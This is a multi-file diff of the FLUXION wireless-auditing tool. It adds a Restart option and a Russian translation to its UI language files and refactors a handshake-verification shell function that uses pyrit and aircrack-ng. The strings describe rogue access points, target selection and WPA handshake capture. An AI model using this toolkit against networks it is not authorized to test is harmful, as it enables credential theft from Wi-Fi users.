FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..." FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"."
FLUXIONReidentifyingInterface="Renaming interface."
FLUXIONUnblockingWINotice="Unblocking all wireless interfaces."
FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking."
#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..."
FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..." FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..."
FLUXIONFindingWINotice="Looking for available wireless interfaces..." FLUXIONFindingWINotice="Looking for available wireless interfaces..."
FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!" FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!"
FLUXIONSelectedBusyWITip="Run \"export FLUXIONWIKillProcesses=1\" before FLUXION to use it." FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}."
FLUXIONGatheringWIInfoNotice="Gathering interface information..." FLUXIONGatheringWIInfoNotice="Gathering interface information..."
FLUXIONUnknownWIDriverError="Unable to determine interface driver!" FLUXIONUnknownWIDriverError="Unable to determine interface driver!"
FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to unload..." FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..."
FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to load..." FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..."
FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..."
FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." FLUXIONKillingConflictingProcessesNotice="Killing notorious services..."
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!"
FLUXIONStartingWIMonitorNotice="Starting monitor interface..." FLUXIONStartingWIMonitorNotice="Starting monitor interface..."
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Interface monitor mode enabled." FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!"
FLUXIONMonitorModeWIFailedError="${CRed}Interface monitor mode failed!" FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!"
FLUXIONIncompleteTargettingInfoNotice="Missing essid, bssid, or channel information!"
FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above."
FLUXIONContinueWithTargetQuery="Continue with this target?"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONStartingScannerNotice="Starting scanner, please wait..." FLUXIONStartingScannerNotice="Starting scanner, please wait..."
FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner." FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner."
@ -29,8 +43,10 @@ FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..
FLUXIONHashFileDoesNotExistError="Hash file does not exist!" FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)" FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /path/to/file.cap)"
FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank."
FLUXIONAbsolutePathInfo="Absolute path" FLUXIONAbsolutePathInfo="Absolute path"
FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelQuery="Select a channel to monitor" FLUXIONScannerChannelQuery="Select a channel to monitor"
FLUXIONScannerChannelOptionAll="All channels" FLUXIONScannerChannelOptionAll="All channels"
@ -41,23 +57,23 @@ FLUXIONScannerChannelMiltipleTip="Multiple channels"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerHeader="FLUXION Scanner" FLUXIONScannerHeader="FLUXION Scanner"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONAPServiceQuery="Select an access point service"
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)"
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashSourceQuery="Select a method to retrieve the handshake" FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
FLUXIONHashSourcePathOption="Path to capture file" FLUXIONHashSourcePathOption="Path to capture file"
FLUXIONHashSourceRescanOption="Handshake directory (rescan)" FLUXIONHashSourceRescanOption="Rescan handshake directory"
FLUXIONFoundHashNotice="A hash for the target AP was found." FLUXIONFoundHashNotice="A hash for the target AP was found."
FLUXIONUseFoundHashQuery="Do you want to use this file?" FLUXIONUseFoundHashQuery="Do you want to use this file?"
FLUXIONUseFoundHashOption="Use hash found"
FLUXIONSpecifyHashPathOption="Specify path to hash"
FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash" FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash"
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}recommended$CClr)" FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}recommended$CClr)"
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)" FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONAttackQuery="Select a wireless attack for the access point" FLUXIONAttackQuery="Select a wireless attack for the access point"
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr attack in progress..." FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..."
FLUXIONSelectAnotherAttackOption="Select another attack" FLUXIONSelectAnotherAttackOption="Select another attack"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONGeneralSkipOption="${CYel}Skip"
FLUXIONGeneralBackOption="${CRed}Back" FLUXIONGeneralBackOption="${CRed}Back"
FLUXIONGeneralExitOption="${CRed}Exit" FLUXIONGeneralExitOption="${CRed}Exit"
FLUXIONGeneralRepeatOption="${CRed}Repeat" FLUXIONGeneralRepeatOption="${CRed}Repeat"

View File

@ -44,6 +44,7 @@ FLUXIONScannerHeader="FLUXION Escáner"
FLUXIONAPServiceQuery="Seleccione Opción de Ataque" FLUXIONAPServiceQuery="Seleccione Opción de Ataque"
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recomendado$CClr)" FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recomendado$CClr)"
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Conexión más lenta$CClr)" FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Conexión más lenta$CClr)"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashSourceQuery="Select a method to retrieve the handshake" FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
FLUXIONHashSourcePathOption="Path to capture file" FLUXIONHashSourcePathOption="Path to capture file"

View File

@ -44,6 +44,7 @@ FLUXIONScannerHeader="Scanner FLUXION"
FLUXIONAPServiceQuery="Sélectionnez une option d'attaque" FLUXIONAPServiceQuery="Sélectionnez une option d'attaque"
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommandé$CClr)" FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommandé$CClr)"
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Connexion plus lente$CClr)" FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Connexion plus lente$CClr)"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashSourceQuery="Sélectionnez une méthode de récupération de handshake" FLUXIONHashSourceQuery="Sélectionnez une méthode de récupération de handshake"
FLUXIONHashSourcePathOption="Chemin du fichier capturé" FLUXIONHashSourcePathOption="Chemin du fichier capturé"

View File

@ -53,6 +53,7 @@ FLUXIONUseFoundHashQuery="Vuoi usare questo file?"
FLUXIONHashVerificationMethodQuery="Seleziona il metodo di verifica dell'hash" FLUXIONHashVerificationMethodQuery="Seleziona il metodo di verifica dell'hash"
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}raccomandato$CClr)" FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}raccomandato$CClr)"
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}inaffidabile$CClr)" FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}inaffidabile$CClr)"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONAttackQuery="Seleziona la tua scelta" FLUXIONAttackQuery="Seleziona la tua scelta"
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr attacco in corso..." FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr attacco in corso..."

View File

@ -31,6 +31,7 @@ FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
FLUXIONPathToHandshakeFileQuery="Podaj ścieżkę dostępu do pliku handshake $CClr(Example: /.../dump-01.cap)" FLUXIONPathToHandshakeFileQuery="Podaj ścieżkę dostępu do pliku handshake $CClr(Example: /.../dump-01.cap)"
FLUXIONAbsolutePathInfo="Absolute path" FLUXIONAbsolutePathInfo="Absolute path"
FluxionRestartOption="Restart"s
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelQuery="Wybierz kanał do monitorowania" FLUXIONScannerChannelQuery="Wybierz kanał do monitorowania"
FLUXIONScannerChannelOptionAll="Wszystkie kanały" FLUXIONScannerChannelOptionAll="Wszystkie kanały"

View File

@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
FLUXIONPreparingScannerResultsNotice="Sintetizando os resultados da varredura, aguarde..." FLUXIONPreparingScannerResultsNotice="Sintetizando os resultados da varredura, aguarde..."
FLUXIONScannerFailedNotice="Wireless card não suportado (sem APs encontrados)" FLUXIONScannerFailedNotice="Wireless card não suportado (sem APs encontrados)"
FLUXIONScannerDetectedNothingNotice="Sem APs encontrados, retornando..." FLUXIONScannerDetectedNothingNotice="Sem APs encontrados, retornando..."
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashFileDoesNotExistError="Arquivo hash não existe!" FLUXIONHashFileDoesNotExistError="Arquivo hash não existe!"
FLUXIONHashInvalidError="${CRed}Error$CClr, arquivo hash inválido!" FLUXIONHashInvalidError="${CRed}Error$CClr, arquivo hash inválido!"

View File

@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashFileDoesNotExistError="Hash file does not exist!" FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"

97
language/ru.sh Executable file
View File

@ -0,0 +1,97 @@
#!/bin/bash
# Russian
# native: Русский
FLUXIONInterfaceQuery="Выберите беспроводной интерфейс"
FLUXIONAllocatingInterfaceNotice="Выделение зарезервированного интерфейса $CGrn\"\$interfaceIdentifier\"."
FLUXIONDeallocatingInterfaceNotice="Перераспределение зарезервированного интерфейса $CGrn\"\$interfaceIdentifier\"."
FLUXIONReidentifyingInterface="Переименование интерфейса."
FLUXIONUnblockingWINotice="Разблокирование всех беспроводных интерфейсов."
FLUXIONTargetTrackerInterfaceQuery="Выберите интерфейс для отслеживания целей."
#FLUXIONFindingExtraWINotice="Поиск посторонних беспроводных интерфейсов..."
FLUXIONRemovingExtraWINotice="Удаление посторонних беспроводных интерфейсов..."
FLUXIONFindingWINotice="Поиск доступных беспроводных интерфейсов..."
FLUXIONSelectedBusyWIError="Выбранный беспроводной интерфейс, по-видимому, используется в настоящее время!"
FLUXIONSelectedBusyWITip="Обычно это вызвано сетевым менеджером (network manager), использующим выбранный интерфейс. Рекомендуется$CGrn правильно остановить сетевой менеджер $CClr или настроить его на игнорирование выбранного интерфейса. В качестве альтернативы выполняйте \"export FLUXIONWIKillProcesses=1\" перед запуском fluxion, чтобы выгрузить сетевой менеджер, но рекомендуется$CRed избегать использование этого флага${CClr}."
FLUXIONGatheringWIInfoNotice="Сбор информации об интерфейсе..."
FLUXIONUnknownWIDriverError="Не удалось определить драйвер интерфейса!"
FLUXIONUnloadingWIDriverNotice="Ожидание выгрузки интерфейса \"\$interface\"..."
FLUXIONLoadingWIDriverNotice="Ожидание поднятия интерфейса \"\$interface\"..."
FLUXIONFindingConflictingProcessesNotice="Поиск конфликтующих служб..."
FLUXIONKillingConflictingProcessesNotice="Остановка конфликтующих служб..."
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Невозможно определить физическое устройство интерфейса!"
FLUXIONStartingWIMonitorNotice="Запуск интерфейса монитора..."
FLUXIONInterfaceAllocatedNotice="${CGrn}Успешное распределение интерфейса!"
FLUXIONInterfaceAllocationFailedError="${CRed}Не удалось выполнить резервирование интерфейса!"
FLUXIONIncompleteTargettingInfoNotice="Отсутствует информация об essid, bssid или канале!"
FLUXIONTargettingAccessPointAboveNotice="Fluxion нацелен на вышеприведённую точку доступа."
FLUXIONContinueWithTargetQuery="Продолжить с этой целью?"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONStartingScannerNotice="Запуск сканера, пожалуйста, подождите..."
FLUXIONStartingScannerTip="Через пять секунд после появления целевой точки ТД закройте сканер FLUXION."
FLUXIONPreparingScannerResultsNotice="Подготовка результатов сканирования, пожалуйста, ожидайте..."
FLUXIONScannerFailedNotice="Возможно, беспроводная карта не поддерживается (точки доступа не найдены)"
FLUXIONScannerDetectedNothingNotice="Точки доступа не обнаружены, возвращаемся назад..."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashFileDoesNotExistError="Хэш-файл (файл с рукопожатием) не существует!"
FLUXIONHashInvalidError="${CRed}Ошибка$CClr, неверный файл рукопожатия!"
FLUXIONHashValidNotice="${CGrn}Успех$CClr, верификация рукопожатия прошла успешно!"
FLUXIONPathToHandshakeFileQuery="Введите путь до файла рукопожатия $CClr(Пример: /путь/до/file.cap)"
FLUXIONPathToHandshakeFileReturnTip="Чтобы вернуться назад, оставьте путь до файла рукопожатия пустым."
FLUXIONAbsolutePathInfo="Абсолютный путь"
FLUXIONEmptyOrNonExistentHashError="${CRed}Ошибка$CClr, введённый путь указывает на несуществующий или пустой файл рукопожатия."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelQuery="Выберите канал для мониторинга"
FLUXIONScannerChannelOptionAll="Все каналы"
FLUXIONScannerChannelOptionSpecific="Конкретный канал (каналы)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelSingleTip="Один канал"
FLUXIONScannerChannelMiltipleTip="Несколько каналов"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerHeader="Сканер FLUXION"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashSourceQuery="Выберите способ получения рукопожатия"
FLUXIONHashSourcePathOption="Путь к файлу захвата"
FLUXIONHashSourceRescanOption="Повторное сканирование директории рукопожатия"
FLUXIONFoundHashNotice="Был найден хэш (рукопожатие) для целевой точки доступа."
FLUXIONUseFoundHashQuery="Вы хотите использовать этот файл?"
FLUXIONUseFoundHashOption="Использовать найденное рукопожатие"
FLUXIONSpecifyHashPathOption="Укажите путь к рукопожатию"
FLUXIONHashVerificationMethodQuery="Выберите метод проверки рукопожатия"
FLUXIONHashVerificationMethodPyritOption="проверка с помощью pyrit (${CGrn}рекомендуется$CClr)"
FLUXIONHashVerificationMethodAircrackOption="проверка с помощью aircrack-ng (${CYel}ненадёжная$CClr)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONAttackQuery="Выбор беспроводной атаки для точки доступа"
FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr идёт атака..."
FLUXIONSelectAnotherAttackOption="Выбор другой атаки"
FluxionRestartOption="Перезапуск"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONGeneralSkipOption="${CYel}Пропустить"
FLUXIONGeneralBackOption="${CRed}Назад"
FLUXIONGeneralExitOption="${CRed}Выход"
FLUXIONGeneralRepeatOption="${CRed}Повторить"
FLUXIONGeneralNotFoundError="Не найдено"
FLUXIONGeneralXTermFailureError="${CRed}Не удалось запустить xterm (возможно неправильная настройка, безголовая машина)."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONCleanupAndClosingNotice="Очистка и закрытие"
FLUXIONKillingProcessNotice="Закрытие ${CGry}\$targetID$CClr"
FLUXIONRestoringPackageManagerNotice="Восстановление ${CCyn}\$PackageManagerCLT$CClr"
FLUXIONDisablingMonitorNotice="Отключение режима монитора"
FLUXIONDisablingExtraInterfacesNotice="Отключение дополнительный интерфейсов"
FLUXIONDisablingPacketForwardingNotice="Отключение ${CGry}форвардинга (переадресации) пакетов"
FLUXIONDisablingCleaningIPTablesNotice="Очистка ${CGry}iptables"
FLUXIONRestoringTputNotice="Восстановление ${CGry}tput"
FLUXIONDeletingFilesNotice="Удаление ${CGry}файлов"
FLUXIONRestartingNetworkManagerNotice="Восстановление ${CGry}Network-Manager"
FLUXIONCleanupSuccessNotice="Очистка выполнена успешно!"
FLUXIONThanksSupportersNotice="Спасибо что пользуетесь FLUXION"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# FLUXSCRIPT END

View File

@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Päť sekúnd po objavení sa cieľového AP, zavrite
FLUXIONPreparingScannerResultsNotice="Výsledky scanu sa pripravujú, čakajte..." FLUXIONPreparingScannerResultsNotice="Výsledky scanu sa pripravujú, čakajte..."
FLUXIONScannerFailedNotice="Bezdrôtová sieťová karta nemusí byť podporovaná (nenašli sa žiadne AP)" FLUXIONScannerFailedNotice="Bezdrôtová sieťová karta nemusí byť podporovaná (nenašli sa žiadne AP)"
FLUXIONScannerDetectedNothingNotice="Žiadne prístupové body neboli najdené, vraciam sa..." FLUXIONScannerDetectedNothingNotice="Žiadne prístupové body neboli najdené, vraciam sa..."
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashFileDoesNotExistError="Súbor 'hash' neexistuje!" FLUXIONHashFileDoesNotExistError="Súbor 'hash' neexistuje!"
FLUXIONHashInvalidError="${CRed}Error$CClr, nesprávny 'hash' súbor!" FLUXIONHashInvalidError="${CRed}Error$CClr, nesprávny 'hash' súbor!"

View File

@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashFileDoesNotExistError="Hash file does not exist!" FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"

View File

@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashFileDoesNotExistError="Hash file does not exist!" FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"

View File

@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..." FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..."
FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)" FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)"
FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..." FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..."
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashFileDoesNotExistError="Hash文件不存在!" FLUXIONHashFileDoesNotExistError="Hash文件不存在!"
FLUXIONHashInvalidError="${CRed}错误$CClr, 无效的Hash文件!" FLUXIONHashInvalidError="${CRed}错误$CClr, 无效的Hash文件!"

View File

@ -6,46 +6,49 @@ readonly HashUtilsVersion="1.0"
HashOutputDevice="/dev/stdout" HashOutputDevice="/dev/stdout"
function hash_check_handshake() { function hash_check_handshake() {
local handshakeVerifier=$1 local -r handshakeVerifier=$1
local handshakePath=$2 local -r handshakePath=$2
local handshakeAPSSID=$3 local -r handshakeAPSSID=$3
local handshakeAPMAC=$4 local -r handshakeAPMAC=$4
local analysis echo "Verifier Parameters: " > $HashOutputDevice
local hashData echo " Verifier: $handshakeVerifier" > $HashOutputDevice
echo "Hash Path: $handshakePath" > $HashOutputDevice
echo "Hash SSID: \"$handshakeAPSSID\"" > $HashOutputDevice
echo " Hash MAC: $handshakeAPMAC" > $HashOutputDevice
echo "Verifier Parameters: $handshakeVerifier, path $handshakePath, SSID \"$handshakeAPSSID\", MAC $handshakeAPMAC" >$HashOutputDevice local analysis # Since it's being used in all relevant instances.
case "$handshakeVerifier" in case "$handshakeVerifier" in
"pyrit") "pyrit")
readarray analysis < <(pyrit -r "$handshakePath" analyze 2>$HashOutputDevice) readarray analysis < <(pyrit -r "$handshakePath" analyze 2> $HashOutputDevice)
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
echo "Error: pyrit seems to be broken!" >$HashOutputDevice echo "Error: pyrit seems to be broken!" > $HashOutputDevice
return 1
fi
local hashMeta=$(echo "${analysis[@]}" | grep -F "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')")
if [ "$hashMeta" ]; then
local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}')
local hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_(SHA[0-9]+_AES|MD5_RC4)/{ print \$0 }")
else
echo "No valid hash meta was found for \"$handshakeAPSSID\"" > $HashOutputDevice
fi
;;
"aircrack-ng")
readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice)
